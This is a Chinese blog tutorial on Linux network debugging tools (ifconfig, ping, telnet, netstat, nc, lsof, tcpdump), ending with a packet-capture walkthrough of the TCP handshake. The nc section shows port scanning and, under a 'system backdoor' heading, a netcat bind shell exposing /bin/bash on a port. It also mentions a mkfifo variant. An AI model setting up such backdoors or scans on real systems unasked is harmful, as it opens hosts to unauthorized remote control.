Linux常用网络调试工具
ifconfig
ifconfig 命令用于检查或设置机器上的网卡,使用命令前需要安装 net-tools 软件包:
1 | sudo apt install net-tools |
如果是 CentOS 的话使用 yum 安装。使用 ifconfig 命令可以显示机器上已经启用的网卡设备信息:
可以看到一些网卡的基本信息,包括 IPv4 和 IPv6 地址,子网掩码、设备 MAC 地址,目前已经收发的数据量等。其中名称为 lo 的是一个特殊的本地回环的虚拟接口,并不是一个真实的网卡设备,本机程序可以通过本地回环地址 127.0.0.1 在本地进行网络通信。
ifconfig 可以通过 up 和 down 选项来打开或者关闭指定网卡:
1 | ifconfig wlp1s0 up |
ping
ping 命令是最常用的命令之一,用于检查两个设备之间网络是否连通:
1 | ping ip地址/域名 |
这里简单说一下 ping 程序的工作原理,它利用 TCP/IP 协议栈网络层的 ICMP 协议工作,ICMP 协议(因特网控制报文协议)用于主机和路由器之间沟通网络层的信息,其本身是作为 IP 协议包的载荷。ping 程序发送一个请求回显类型的 ICMP 报文至指定 IP 地址的主机,如果主机接收到该消息包则会回复一个回显应答类型的报文。
需要注意的是有些主机可能会关闭 ICMP 回显,这样即使两台主机之间在网络上是相通的,ping 程序也无法正常工作。
telnet
telnet 也是最常用的命令之一,telnet 能够用于连接某个服务器并和它进行通信,如果不指定目标主机的端口,则默认向其 23 号端口发起连接请求。
通常指定目标主机和端口:
1 | telnet ip/域名 端口 |
这里演示通过 telnet 向 xiaodongfan.com 发送一个 HTTP 请求:
连接上主机之后,按照 HTTP 协议格式,依次输入请求行和请求首部信息(最后需要两次回车)就能得到应答了:
1 | GET / HTTP/1.1 |
使用 telnet 还可以连接邮件服务器发送邮件,按照相应协议的格式和端口进行通信即可。
netstat
netstat 用于查看主机的网络连接状态,常用有以下选项:
- -a (或–all): 显示所有 Socket,不使用该选项时不会显示 LISTEN 状态的选项。
- -t (或–tcp): 显示 TCP 协议的连接情况。
- -u (或–udp): 显示 UDP 协议的连接情况。
- -n (或–numeric): 使用 ip 地址显示,而不是显示域名。
- -l (或–listening): 显示处于 LISTEN 状态的 Socket。
- -p (或–programs): 显示 Socket 对应的程序名称。
- -c (或–continuous): 持续显示信息。
例如查看所有的 TCP 相关选项:
nc
nc 就是 netcat,功能非常强大,常用的功能是用于模拟服务器和客户端。下面介绍一些常用的操作:
- 启动一个服务器程序。
1 | nc -v -l 127.0.0.1 8080 |
指定-l
选项(listening)用于监听端口,-v
选项(verbose)用于输出更详细的信息,一般都会带上这个选项。如果希望其他主机访问这个服务器,可以指定监听 0.0.0.0 地址。
- 模拟一个客户端程序。
1 | nc -v baidu.com 80 |
就是去除掉上面的-l
选项就行,上面的命令会在本地启动一个客户端程序对 baidu.com 的 80 号端口进行连接,而客户端套接字的端口号是随机的,我们可以使用-p
选项来指定本地套接字的端口号:
1 | nc -v -p 5000 baidu.com 80 |
连接之后就能够发送消息了。此外,上述指令的连接端口号可以指定一个范围,这样就可以对主机进行端口扫描,获取目标主机开放的端口:
1 | nc -v -z 192.168.1.46 8000-9000 2>&1 | grep succeed |
其中-z
选项为连接后不发送数据,我们只需要知道端口是否能连接上,不需要通信。由于-v
选项输出是在[stderr]上,因此需要将其重定向到[stdout]上便于 grep 抓取成功的端口。扫描端口功能一般是黑客常用的一个功能,在对目标主机进行攻击前,获取其开放的端口。
此外,为了验证防火墙是否有效,也可以使用 nc 命令的模拟客户端程序来验证。
- udp 通信测试。
在服务器端:
1 | nc -ul 127.0.0.1 8080 |
指定-u
选项为 UDP 工作模式。
在客户端:
1 | nc -u 127.0.0.1 8080 |
- 传输文件
nc 不仅可以发送消息,还可以发送文件,只要使用 shell 提供的重定向功能就行:
接收端:
1 | nc -l IP地址 端口号 > recv.txt |
发送端:
1 | nc IP地址 端口号 < send.txt |
这样就把发送端的 send.txt 文件通过接收端的某端口号传输过去了,接收端将文件重新命名为 recv.txt。
- 系统后门
可以通过 nc 的 -e
选项将某一个进程的输入输出重定向到 nc 建立的网络连接上来:
主机 A:
1 | nc -l -p 8080 -e /bin/bash |
主机 B:
1 | nc A的IP地址 8080 |
之后主机 B 就能看到主机 A 的 shell 提示符了。
正是由于这个 -e
选项过于危险,新版本的 nc 删除了这个选项,但还是可以通过管道和 fifo 来实现相同的效果:
1 | mkfifo /tmp/f |
使用完之后将 /tmp/f 文件删除。
lsof
lsof(list opened file desciptor)是Linux上查看系统打开的文件描述符的命令,需要使用 apt 或 yum 包管理器进行安装。
由于网络套接字在 Linux 系统中也是用文件描述符来管理,因此可以使用 lsof 来查看网络的连接情况,lsof 通过 -i
选项可以只显示网络连接相关的信息,使用 -P
选项可以显示端口号而不是别名,使用 -n
选项可以显示 IP 地址而不是其别名。
tcpdump
tcpdump 是Linux系统提供的强大抓包工具,通过命令的形式提供类似于 wireshark 的功能,同样可以使用包管理器进行安装。
下面是一些常用的命令选项:
- -i: 指定需要抓包的网卡名称,如果需要抓取所有网卡的包可以指定为 any。
- -X: 以十六进程格式显示数据包的内容,不包括链路层的包头信息。可以指定 -XX 查看链路层包头信息。
- -n: 不使用 IP 地址的别名显示,-nn 为不使用 IP 地址和端口的别名显示。
- -S: 使用绝对包序号(seq字段)而不是相对序号。
- -v: 显示详细抓包过程,-vv可以显示更详细的过程。
- -w: 将抓取的数据包保存到文件中,该选项后面跟文件名。
- -r: 从指定的文件(上面使用-w选项保存的文件)中读取数据包数据。
此外,tcpdump 最强大之处在于可以使用过滤表达式来对抓取的包进行过滤,就像 wireshark 一样。
- host 过滤器(指定主机)
1 | tcpdump -i any host 127.0.0.1 // 抓取从 127.0.0.1 发出或收到的包 |
- net 过滤器(指定网段)
1 | tcpdump -i any net 192.168.1 // 抓取从网段 192.168.1.x 发出或收到的包 |
- port 过滤器(指定端口)
1 | tcpdump -i any port 8000 // 抓取发送或接收端口为 8000 的包 |
- 通过 src 和 dst 过滤方向
1 | tcpdump -i any src 192.168.1.1 // 抓取发送端地址为 192.168.1.1 的包 |
- proto 过滤器(指定协议:tcp, udp, icmp, igmp, arp等)
1 | tcpdump -i any icmp // 抓取 ICMP 协议包 |
- 过滤器之间可以通过逻辑符号(and, or, not)进行组合。
1 | tcpdump -i lo src port 8000 and dst port 8001 |
这里举例来说明如何使用。
观察一下 TCP 连接时三次握手过程。使用两台主机,目标主机名为 fxd-pi,在上面使用 nc 启动一个 8000 端口的监听服务器,并使用 tcpdump 进行抓包,过滤端口为 8000 的包。在另一台机器(这里称为本地机器)通过 nc 连接,可以看到如下包:
可以看到,首先是本地机器向 fxd-pi 发送的一个请求同步报文(标志为[S],就是 SYN),然后 fxd-pi 回复了一个应答报文(标志为[S.], 是SYN-ACK),然后本地机器再回复了一个应答报文,三次握手成功。
然后我们可以仔细分析一下报文的内容,这里使用 -X
选项,因此报文包含了 IP 报文的首部和 TCP 报文的首部。对其中关键位置的内容进行验证,以第一个报文为例,第 13-16 字节内容为0x0a8663f5
,对应源 IP 地址 10.134.99.245;第 17-20 字节内容为0x0a8662ec
,对应目的 IP 地址为 10.134.98.236。
再往后面就是 TCP 报文内容,由于是 SYN 同步报文,因此没有携带任何内容,后面的 40 个字节全都是 TCP 首部,这从 TCP 首部中的首部长度字段也可以看出来。其中 0xb20a
和 0x1f40
分别为源端口号和目的端口号。
总结
本篇博客介绍了Linux系统下常用的网络调试工具。
参考文献
- 《C++服务器开发精髓》
- TCP/IP详解
- 《计算机网络:自顶向下方法》